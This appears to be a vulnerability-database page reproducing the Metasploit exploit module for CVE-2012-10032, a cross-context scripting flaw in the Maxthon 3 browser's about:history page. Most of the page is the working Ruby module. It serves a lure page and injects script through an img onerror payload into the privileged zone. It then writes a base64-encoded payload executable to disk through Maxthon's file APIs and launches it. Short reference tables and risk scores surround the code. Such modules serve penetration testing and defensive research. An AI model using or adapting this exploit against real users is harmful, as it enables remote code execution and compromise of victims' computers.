Maxthon3 about:history XCS Trusted Zone Code Execution

🗓️ 26 Nov 2012 00:00:00Reported by Roberto Suggi Liverani, sinn3r <[email protected]>, juan vazquez <[email protected]>Type

metasploit🔗 www.rapid7.com👁 17 Views

Maxthon3 about:history XCS Trusted Zone Code Execution, privileged browser zone code execution vulnerability in Maxthon

Reporter	Title	Published	Views	Family All 11
ATTACKERKB	CVE-2012-10032	5 Aug 202520:03	–	attackerkb
BDU FSTEC	The vulnerability of the Maxthon3 browser lies in the insufficient protection of the web page structure, allowing attackers to execute arbitrary code.	13 Apr 202600:00	–	bdu_fstec
Circl	CVE-2012-10032	29 May 201815:50	–	circl
CNNVD	Maxthon 3 安全漏洞	5 Aug 202500:00	–	cnnvd
CVE	CVE-2012-10032	5 Aug 202520:03	–	cve
Cvelist	CVE-2012-10032 Maxthon3 about:history XCS Trusted Zone Code Execution	5 Aug 202520:03	–	cvelist
EUVD	EUVD-2012-6576	7 Oct 202500:30	–	euvd
NVD	CVE-2012-10032	5 Aug 202520:15	–	nvd
Positive Technologies	PT-2025-31984	5 Dec 201200:00	–	ptsecurity
RedhatCVE	CVE-2012-10032	7 Aug 202520:31	–	redhatcve

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
        'Description' => %q{
          Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
          Injection in such privileged/trusted browser zone can be used to modify
          configuration settings and execute arbitrary commands.

          Please note this module only works against specific versions of XCS. Currently,
          we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
          'sinn3r', # msf module
          'juan vazquez' # msf module
        ],
        'References' => [
          ['CVE', '2012-10032'],
          ['OSVDB', '88191'],
          ['EDB', '23225'],
          ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
        ],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          ['Maxthon 3 (prior to 3.3) on Windows', {} ]
        ],
        'DisclosureDate' => '2012-11-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    if request.headers['User-Agent'] !~ /Maxthon\/3/ or request.headers['User-Agent'] !~ /AppleWebKit\/534.12/
      print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
      send_not_found(cli)
      return
    end

    html_hdr = %Q|
    <html>
    <head>
    <title>Loading</title>
    |

    html_ftr = %Q|
    </head>
    <body >
    <h1>Loading</h1>
    </body></html>
    |

    case request.uri
    when /\?jspayload/
      p = regenerate_payload(cli)
      if (p.nil?)
        send_not_found(cli)
        return
      end
      # We're going to run this through unescape(), so make sure
      # everything is encoded
      penc = generate_payload_exe
      penc2 = Rex::Text.encode_base64(penc)

      # now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
      # Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
      # The Program DOM API isn't available on Maxthon 3.2 and upper versions.
      content = %Q|
        if(maxthon.program)
        {
        var fileTemp = new maxthon.io.File.createTempFile("test","exe");
        var fileObj = maxthon.io.File(fileTemp);
        maxthon.io.FileWriter(fileTemp);
        maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
        maxthon.program.Program.launch(fileTemp.name_,"C:");
        }
        |

    when /\?history/
      js = %Q|
        window.onload = function() {
          location.href = "about:history";
        }
        |

      content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |

    when get_resource()
      print_status("Sending #{self.name} payload for request #{request.uri}")

      js = %Q|
        url = location.href;
        url2 = url + "?jspayload=1";
        inj = "?history#%22/><img src=a onerror=%22"
        inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
        window.location = unescape(inj) + inj_1;
        |

      content = %Q|
        #{html_hdr}
        <script>
        #{js}
        </script>
        #{html_ftr}
        |
    else
      print_status("Sending 404 for request #{request.uri}")
      send_not_found(cli)
      return
    end

    send_response_html(cli, content)
  end
end

26 Nov 2012 00:00Current

8.1High risk

Vulners AI Score8.1

CVSS 48.7

EPSS0.0089

SSVC